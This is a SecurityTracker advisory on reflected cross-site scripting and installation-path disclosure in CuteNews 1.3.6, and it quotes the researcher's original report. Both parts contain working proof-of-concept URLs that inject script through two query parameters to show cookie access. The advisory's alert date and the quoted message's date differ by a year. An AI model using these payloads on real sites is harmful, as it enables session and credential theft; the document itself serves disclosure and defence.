CuteNews Input Validation Holes in 'login.php' and 'search.php' Permit Cross-Site Scripting Attacks
|
|
SecurityTracker Alert ID: 1014514
|
|
SecurityTracker URL: http://securitytracker.com/id?1014514
|
|
CVE Reference: GENERIC-MAP-NOMATCH
(Links to External Site)
|
Date: Jul 19 2005
|
Impact: Disclosure of authentication information, Disclosure of system information, Disclosure of user information, Execution of arbitrary code via network, Modification of user information
|
Exploit Included: Yes
|
Version(s): 1.3.6
|
Description: rgod reported a vulnerability in CuteNews. A remote user can conduct cross-site scripting attacks. A remote user can also determine the installation path.
The 'login.php' and 'search.php' scripts do not properly filter HTML code from user-supplied input. A remote user can create a specially
crafted URL that, when loaded by a target user, will cause arbitrary scripting code to be executed by the target user's browser.
The code will originate from the site running the CuteNews software and will run in the security context of that site. As a result,
the code will be able to access the target user's cookies (including authentication cookies), if any, associated with the site,
access data recently submitted by the target user via web form to the site, or take actions on the site acting as the target user.
Some
demonstration exploit URLs are provided:
http://[target]/[path]/index.php?lastusername='><script>alert(document.cookie)</script><!--
http://[target]/[path]/index.php?
lastusername=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--
http://[target]/[path]/search.php?selected_search_arch=><script>alert(document.cookie)</
script><!--
http://[target]/[path]/search.php?selected_search_arch=%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscript%3E%3C%21--
A
remote user can supply the following URL to cause the system to disclose the installation path:
http://[target]/[path]/show_news.php?archive=whathell
|
Impact: A remote user can access the target user's cookies (including authentication cookies), if any, associated with the site running the
CuteNews software, access data recently submitted by the target user via web form to the site, or take actions on the site acting
as the target user.
A remote user can determine the installation path.
|
Solution: No solution was available at the time of this entry.
|
Vendor URL: cutephp.com/cutenews/ (Links to External Site)
|
Cause: Access control error, Input validation error
|
Underlying OS: Linux (Any), UNIX (Any), Windows (Any)
|
Reported By: "retrogod@aliceposta.it" <retrogod@aliceposta.it>
|
Message History:
None.
|
Source Message Contents
|
Date: Mon, 19 Jul 2004 05:03:16 +0200 (ora legale Europa occidentale)
From: "retrogod@aliceposta.it" <retrogod@aliceposta.it>
Subject: CuteNews 1.3.6 path disclosure & cross site scripting / cookie disclosure poc exploit
|
CuteNews 1.3.6 path disclosure & cross site scripting / cookie disclosure poc exploit
software:
author site: http://cutephp.com/cutenews/
path disclosure:
http://[target]/[path]/show_news.php?archive=whathell
xss in login.php and search.php:
http://[target]/[path]/index.php?lastusername='><script>alert(document.cookie)</script>< !--
http://[target]/[path]/index.php?lastusername=%27%3E%3Cscript%3Ealert%28document.cookie%29%3C%2Fscrip t%3E%3C%21--
http://[target]/[path]/search.php?selected_search_arch=><script>alert(document.cookie)</s cript><!--
http://[target]/[path]/search.php?selected_search_arch=%3E%3Cscript%3Ealert%28document.cookie%29%3C%2 Fscript%3E%3C%21--
result:
a user can steal md5 encrypted password and view installation path of the script
rgod
rgod[at]autistici.org
http://rgod.altervista.org
|
|